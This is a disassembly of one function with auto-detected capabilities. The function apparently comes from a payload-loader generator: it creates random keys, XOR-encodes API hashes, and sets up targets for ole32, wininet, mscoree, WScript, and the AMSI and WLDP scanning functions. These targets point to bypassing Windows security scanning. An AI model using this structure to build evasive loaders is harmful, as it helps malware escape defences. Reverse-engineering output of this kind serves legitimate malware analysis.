Function at 0x180002340
Capabilities:
Create new key via cryptacquirecontext
Encode data using xor
Generate random numbers via winapi

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0xa0
mov rax, qword [0x180007008]
xor rax, rsp
mov qword [rsp + 0x88], rax
cmp dword [rcx + 0x1020], 1
mov r14d, 0x2068
mov qword [rsp + 0x38], r14
mov rsi, rcx
mov qword [rsp + 0x40], rcx
jne 0x18000238c
mov rax, qword [rcx + 0x1010]
add rax, r14
mov r14, rax
mov qword [rsp + 0x38], rax
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_calloc]
mov rbx, rax
test rax, rax
jne 0x1800023aa
lea eax, [rbx + 6]
jmp 0x180002a56
mov qword [rsp + 0xd0], rdi
lea rcx, [rsp + 0x30]
mov qword [rsp + 0xd8], r12
mov r9d, 0x18
mov qword [rsp + 0x98], r13
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x90], r15
mov dword [rsp + 0x20], 0xf0000040
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x180002a31
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x68]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test edi, edi
je 0x180002a31
movups xmm0, xmmword [rsp + 0x68]
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
lea rcx, [rsp + 0x30]
movups xmmword [rbx + 4], xmm0
xor edx, edx
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rbx + 0x14], xmm1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x180002a31
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x48]
mov edx, 0x20
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov edi, eax
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test edi, edi
je 0x180002a31
movups xmm0, xmmword [rsp + 0x48]
lea r15, [rbx + 0x618]
mov rcx, r15
movups xmmword [rbx + 0x720], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rbx + 0x730], xmm1
call fcn.180002da0
test eax, eax
je 0x180002a31
mov edx, 8
lea rcx, [rbx + 0x28]
call fcn.180002f50
test eax, eax
je 0x180002a31
mov rax, qword [0x18000d430]
mov qword [rsp + 0xc8], rbp
xor ebp, ebp
test rax, rax
je 0x18000253f
mov r15d, ebp
lea r12, [rbx + 0x30]
mov r14d, ebp
lea rsi, [0x18000d430]
nop dword [rax]
mov rdx, qword [rbx + 0x28]
mov rcx, rax
call fcn.180003f60
mov rdx, qword [rbx + 0x28]
mov rdi, rax
mov rcx, qword [r14 + rsi + 8]
call fcn.180003f60
xor rax, rdi
inc r15
mov qword [r12], rax
lea r12, [r12 + 8]
mov r14, r15
inc ebp
shl r14, 4
mov rax, qword [r14 + rsi]
test rax, rax
jne 0x1800024f0
mov rsi, qword [rsp + 0x40]
lea r15, [rbx + 0x618]
mov r14, qword [rsp + 0x38]
mov dword [rbx + 0x234], 1
mov dword [rbx + 0x230], ebp
movsd xmm0, qword [str.ole32.dll]
mov rbp, qword [rsp + 0xc8]
movsd qword [rbx + 0x238], xmm0
movzx eax, word [0x18000d770]
mov word [rbx + 0x240], ax
mov dword [rbx + 0x234], 2
movsd xmm0, qword [str.oleaut32.dll]
movsd qword [rbx + 0x258], xmm0
mov eax, dword [0x18000d760]
mov dword [rbx + 0x260], eax
movzx eax, byte [0x18000d764]
mov byte [rbx + 0x264], al
movsxd rcx, dword [rbx + 0x234]
mov rdx, rcx
shl rdx, 5
lea eax, [rcx + 1]
mov dword [rbx + 0x234], eax
movsd xmm0, qword [str.wininet.dll]
movsd qword [rdx + rbx + 0x238], xmm0
mov eax, dword [0x18000d750]
mov dword [rdx + rbx + 0x240], eax
movsxd rcx, dword [rbx + 0x234]
mov rdx, rcx
shl rdx, 5
lea eax, [rcx + 1]
mov dword [rbx + 0x234], eax
movsd xmm0, qword [str.mscoree.dll]
movsd qword [rdx + rbx + 0x238], xmm0
mov eax, dword [0x18000d740]
mov dword [rdx + rbx + 0x240], eax
mov ecx, dword [rsi + 0x1008]
lea eax, [rcx - 1]
cmp eax, 1
jbe 0x180002763
lea eax, [rcx - 5]
cmp eax, 1
jbe 0x180002664
cmp ecx, 7
jne 0x1800027b7
movups xmm0, xmmword [0x18000d390]
movups xmmword [rbx + 0x4dc], xmm0
movups xmm1, xmmword [0x18000d3f0]
movups xmmword [rbx + 0x4ec], xmm1
movups xmm0, xmmword [0x18000d3a0]
movups xmmword [rbx + 0x4fc], xmm0
jmp 0x1800027b7
movups xmm0, xmmword [0x18000d650]
lea r8, [rbx + 0x3cc]
movups xmmword [rbx + 0x3fc], xmm0
movups xmm1, xmmword [0x18000d370]
movups xmmword [rbx + 0x40c], xmm1
movups xmm0, xmmword [0x18000d670]
movups xmmword [rbx + 0x48c], xmm0
movups xmm1, xmmword [0x18000d340]
movups xmmword [rbx + 0x49c], xmm1
movups xmm0, xmmword [0x18000d400]
movups xmmword [rbx + 0x4ac], xmm0
movups xmm1, xmmword [0x18000d360]
movups xmmword [rbx + 0x4bc], xmm1
movups xmm0, xmmword [0x18000d3c0]
movups xmmword [rbx + 0x4cc], xmm0
mov rax, qword [str.WScript]
test al, al
je 0x1800026f9
lea rdx, str.WScript
nop
movsx ecx, al
lea rdx, [rdx + 1]
mov word [r8], cx
lea r8, [r8 + 2]
movzx ecx, byte [rdx]
movzx eax, cl
test cl, cl
jne 0x1800026e0
movzx r8d, byte [str.wscript.exe]
lea rcx, [rbx + 0x3dc]
test r8b, r8b
je 0x18000273a
lea rdx, str.wscript.exe
nop dword [rax]
nop dword [rax + rax]
movsx eax, r8b
lea rdx, [rdx + 1]
mov word [rcx], ax
lea rcx, [rcx + 2]
movzx eax, byte [rdx]
movzx r8d, al
test al, al
jne 0x180002720
cmp dword [rsi + 0x1008], 5
jne 0x180002753
movups xmm0, xmmword [0x18000d3d0]
movups xmmword [rbx + 0x47c], xmm0
jmp 0x1800027b7
movups xmm0, xmmword [0x18000d660]
movups xmmword [rbx + 0x47c], xmm0
jmp 0x1800027b7
movups xmm0, xmmword [0x18000d380]
movups xmmword [rbx + 0x46c], xmm0
movups xmm1, xmmword [0x18000d350]
movups xmmword [rbx + 0x42c], xmm1
movups xmm0, xmmword [0x18000d420]
movups xmmword [rbx + 0x41c], xmm0
movups xmm1, xmmword [0x18000d3e0]
movups xmmword [rbx + 0x43c], xmm1
movups xmm0, xmmword [0x18000d410]
movups xmmword [rbx + 0x45c], xmm0
movups xmm1, xmmword [0x18000d3b0]
movups xmmword [rbx + 0x44c], xmm1
mov eax, dword [str.AMSI]
mov dword [rbx + 0x338], eax
movzx eax, byte [0x18000d71c]
mov byte [rbx + 0x33c], al
movsd xmm0, qword [str.AmsiInitialize]
movsd qword [rbx + 0x39c], xmm0
mov eax, dword [0x18000d710]
mov dword [rbx + 0x3a4], eax
movzx eax, word [0x18000d714]
mov word [rbx + 0x3a8], ax
movzx eax, byte [0x18000d716]
mov byte [rbx + 0x3aa], al
movsd xmm0, qword [str.AmsiScanBuffer]
movsd qword [rbx + 0x3ac], xmm0
mov eax, dword [0x18000d700]
mov dword [rbx + 0x3b4], eax
movzx eax, word [0x18000d704]
mov word [rbx + 0x3b8], ax
movzx eax, byte [0x18000d706]
mov byte [rbx + 0x3ba], al
movsd xmm0, qword [str.AmsiScanString]
movsd qword [rbx + 0x3bc], xmm0
mov eax, dword [0x18000d6f0]
mov dword [rbx + 0x3c4], eax
movzx eax, word [0x18000d6f4]
mov word [rbx + 0x3c8], ax
movzx eax, byte [0x18000d6f6]
mov byte [rbx + 0x3ca], al
mov dword [rbx + 0x344], 0x524c43
mov eax, dword [str.WLDP]
mov dword [rbx + 0x34c], eax
movzx eax, byte [0x18000d6e0]
mov byte [rbx + 0x350], al
movups xmm0, xmmword [str.WldpQueryDynamicCodeTrust]
movups xmmword [rbx + 0x35c], xmm0
movsd xmm1, qword [0x18000d6d0]
movsd qword [rbx + 0x36c], xmm1
movzx eax, word [0x18000d6d8]
mov word [rbx + 0x374], ax
movups xmm0, xmmword [str.WldpIsClassInApprovedList]
movups xmmword [rbx + 0x37c], xmm0
movsd xmm1, qword [0x18000d6b0]
movsd qword [rbx + 0x38c], xmm1
movzx eax, word [0x18000d6b8]
mov word [rbx + 0x394], ax
mov eax, dword [rsi + 0x1020]
mov dword [rbx + 0x50c], eax
cmp eax, 2
jne 0x18000296d
lea rcx, [rsi + 0xf08]
call fcn.180002da0
test eax, eax
je 0x180002a31
lea rcx, [rbx + 0x510]
mov r8, rcx
lea rdx, [rsi + 0xd08]
sub r8, rdx
nop dword [rax]
movzx eax, byte [rdx]
mov byte [rdx + r8], al
lea rdx, [rdx + 1]
test al, al
jne 0x180002930
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x180002942
xor edx, edx
nop
movzx eax, byte [rsi + rdx + 0xf08]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180002950
mov dword [rbx + 0x610], 0x544547
mov rax, qword [rsi + 0x1010]
mov qword [rbx + 0x740], rax
mov dword [rbx], r14d
cmp dword [rsi + 0x1020], 2
mov qword [rsi + 0x1030], rbx
mov qword [rsi + 0x1028], r14
jne 0x1800029cc
mov rdx, qword [rbx + 0x28]
mov rcx, r15
call fcn.180003f60
mov rcx, qword [rsi + 0x1018]
lea rdx, [rsp + 0x58]
mov qword [rcx + 0x1908], rax
lea rcx, [rsp + 0x48]
mov r9, qword [rsi + 0x1010]
mov r8, qword [rsi + 0x1018]
call fcn.180003b70
cmp dword [rbx + 0x50c], 1
jne 0x1800029f6
mov rcx, qword [rsi + 0x1030]
mov r8, qword [rsi + 0x1010]
add rcx, 0x748
mov rdx, qword [rsi + 0x1018]
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbx + 0x28]
mov rcx, r15
call fcn.180003f60
mov qword [rbx + 0x718], rax
lea r8, [rbx + 0x230]
mov r9, qword [rsi + 0x1028]
lea rdx, [rsp + 0x78]
sub r9, 0x230
lea rcx, [rsp + 0x68]
call fcn.180003b70
xor eax, eax
jmp 0x180002a36
mov eax, 0xb
mov r13, qword [rsp + 0x98]
mov r12, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xd0]
mov r15, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.180001010
add rsp, 0xa0
pop r14
pop rsi
pop rbx
ret